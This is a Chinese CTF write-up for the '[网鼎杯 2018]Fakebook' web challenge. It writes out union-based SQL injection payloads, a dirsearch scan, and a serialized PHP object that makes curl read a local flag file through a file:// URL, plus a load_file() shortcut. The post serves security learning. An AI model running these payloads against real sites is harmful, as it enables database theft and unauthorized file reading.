SQL注入和序列化的结合

题目来自:

[网鼎杯 2018]Fakebook

感觉原来学的有点局限,就只考虑到sql注入或者php反序列化啥的单方向,很少思考过结合起来的考法。

话不多说,直接开解:

登录要密码,join就是注册,估计直接注入注不出来,不然就不会给注册的选项了,那么我们就注册一个吧。

这里注意一下blog的意思是给一个域名,开始我还试了好多玩意结果没输.com一直报错.....

 

进去后就这个123可以点,那就点开看看:

查看了下源码,没啥东西,但是看到网址上后面有个no=1,估计这里可以sql注入,那就尝试一下。

试了个单引号报这个错,感觉就不是字符型注入了,再试一下no=2-1:

正常回显,那应该是数字型注入。

可以fuzz看一下过没过滤关键字,这里我直接试的,没过滤。

那么我们就直接一条龙:

order by 1到4没错,5报错,那么就应该是有四列,我们直接select 1,2,3,4查字段:

emmm....看来还是有过滤,但是这里换了个写法 union all select就不报错了,运气比较好~~

接下来就很常规了:

(注意后面要改为no=-1,不然得不到后面的回显了)

爆库为fakebook。

而且第一行有个unserialize(),估计还有反序列化,但是暂时找不到源码,就先搁在这。

no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

 

爆表为users。

no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'#

(注:这里写user一点不要忘了它是个字符串,要打引号,不然还是报错,我开始还以为我输错了...)

爆列为这一堆,估计有用的在data这里。

no=-1 union all select 1,group_concat(data),3,4 from fakebook.users#

爆了个序列化数据,找找源码在哪里。

这里没给提示,那么就用dirsearch开扫:

扫描过程借用博客的回答:https://www.cnblogs.com/ling-lz/articles/15379058.html

python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 扫描的url
#-e 扫描的目录后缀
#-t 设置扫描线程
#-x 排除指定的网站状态码(用逗号隔开)

直接访问robots.txt:

再去访问user.php.bak,下载到源码:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

不要跟常规反序列化混淆了,这里没有魔术方法的触发,直接看代码逻辑就行。

最后有个检测函数,显然也是需要我们RCE的,看了一下关键肯定在这个get()函数这里:

【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。

【*】curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。

curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

如果状态码不是404,就返回exec的结果。

而get()函数也是在

 这个位置调用,那么直接构造payload。

这里用file:///var/www/html/flag.php直接开读:

然后用注入的方式在第四列给它注入进去:

no=-1 union all select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22age%22%3Bi%3A123%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'#

记住一定要用单引号括起来。

 

关于此处为什么可以注入,因为union select会创建一个虚拟存储

例:

所以我们要在第四个位置注入。

注入成功有回显,查看源码:

点开就是flag:

 

非预期解:

还有个非预期解

使用load_file()函数,直接得到flag

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

 

直接在源码里得到flag

posted @ 2023-09-14 18:11  Eddie_Murphy  阅读(24)  评论(0编辑  收藏  举报